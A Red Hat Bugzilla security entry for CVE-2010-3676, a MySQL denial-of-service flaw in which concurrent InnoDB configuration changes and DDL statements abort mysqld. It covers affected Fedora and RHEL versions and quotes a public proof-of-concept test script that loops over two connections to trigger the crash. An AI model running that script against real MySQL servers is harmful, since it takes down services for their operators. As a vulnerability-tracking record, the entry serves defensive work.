Bug 628660 (CVE-2010-3676) - CVE-2010-3676 MySQL: mysqld DoS (assertion failure) after changing InnoDB storage engine configuration parameters (MySQL bug #55039)
Summary: CVE-2010-3676 MySQL: mysqld DoS (assertion failure) after changing InnoDB st...
Keywords:
Status: CLOSED NOTABUG
Alias: CVE-2010-3676
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
low
low
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact:
URL:
Whiteboard:
Depends On: 636780
Blocks:
TreeView+ depends on / blocked
 
Reported: 2010-08-30 16:53 UTC by Jan Lieskovsky
Modified: 2019-09-29 12:39 UTC (History)
3 users (show)

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Clone Of:
Environment:
Last Closed: 2019-06-10 10:57:13 UTC


Attachments (Terms of Use)

Description Jan Lieskovsky 2010-08-30 16:53:11 UTC
A denial of service flaw was found in the way MySQL processed
multiple parallel connections changing InnoDB storage engine 
configuration parameters (innodb_file_format and innodb_file_per_table)
and simultaneously issuing data definition language (DDL) statemens.
A remote, authenticated MySQL user could use this flaw to cause
mysqld daemon abort (assertion failure).

References:
  [1] http://secunia.com/advisories/41048/
  [2] http://dev.mysql.com/doc/refman/5.1/en/news-5-1-49.html

Upstream bug report:
  [3] http://bugs.mysql.com/bug.php?id=55039

Comment 1 Jan Lieskovsky 2010-08-30 16:55:56 UTC
Public PoC (from [3]):

# MTR test case. It failed for me 18 times of 20 I tried
# Increasing number of tries or running the test case via --repeat
# does not seem to help, try just to restart it if it did not work.

--source include/have_innodb.inc

--connect(con1,localhost,root,,)
--connect(con2,localhost,root,,)

--let $try=100

while($try)
{
        --dec $try
        --connection con1
        --send CREATE TEMPORARY TABLE operations (op VARCHAR(16)) ENGINE=InnoDB
        --connection con2
        --send SET GLOBAL innodb_file_format=Antelope, innodb_file_per_table=ON
        --connection con1
        --reap
        DROP TABLE operations;
        --connection con2
        --reap
        SET GLOBAL innodb_file_format = Barracuda, innodb_file_per_table = OFF;
}

--exit

Comment 6 Jan Lieskovsky 2010-08-30 20:12:26 UTC
This issue did NOT affect the versions of the mysql package, as shipped
with Red Hat Enterprise Linux 3, 4, or 5.

--

This issue did NOT affect the version of the mysql package, as shipped
with Fedora release of 12.

This issue affects the version of the mysql package, as shipped with
Fedora release of 13.

Comment 8 Jan Lieskovsky 2010-08-31 12:54:18 UTC
CVE Request: http://www.openwall.com/lists/oss-security/2010/08/30/8

Comment 9 Jan Lieskovsky 2010-09-23 09:33:26 UTC
Created mysql tracking bugs for this issue

Affects: fedora-all [bug 636780]

Comment 10 Jan Lieskovsky 2010-09-29 08:35:55 UTC
The CVE identifier of CVE-2010-3676 has been assigned to this issue.

Comment 12 Vincent Danen 2011-01-11 23:05:50 UTC
Statement:

Not vulnerable. This issue did not affect the versions of mysql package
as shipped with Red Hat Enterprise Linux 3, 4, 5, or 6.


Note You need to log in before you can comment on or make changes to this bug.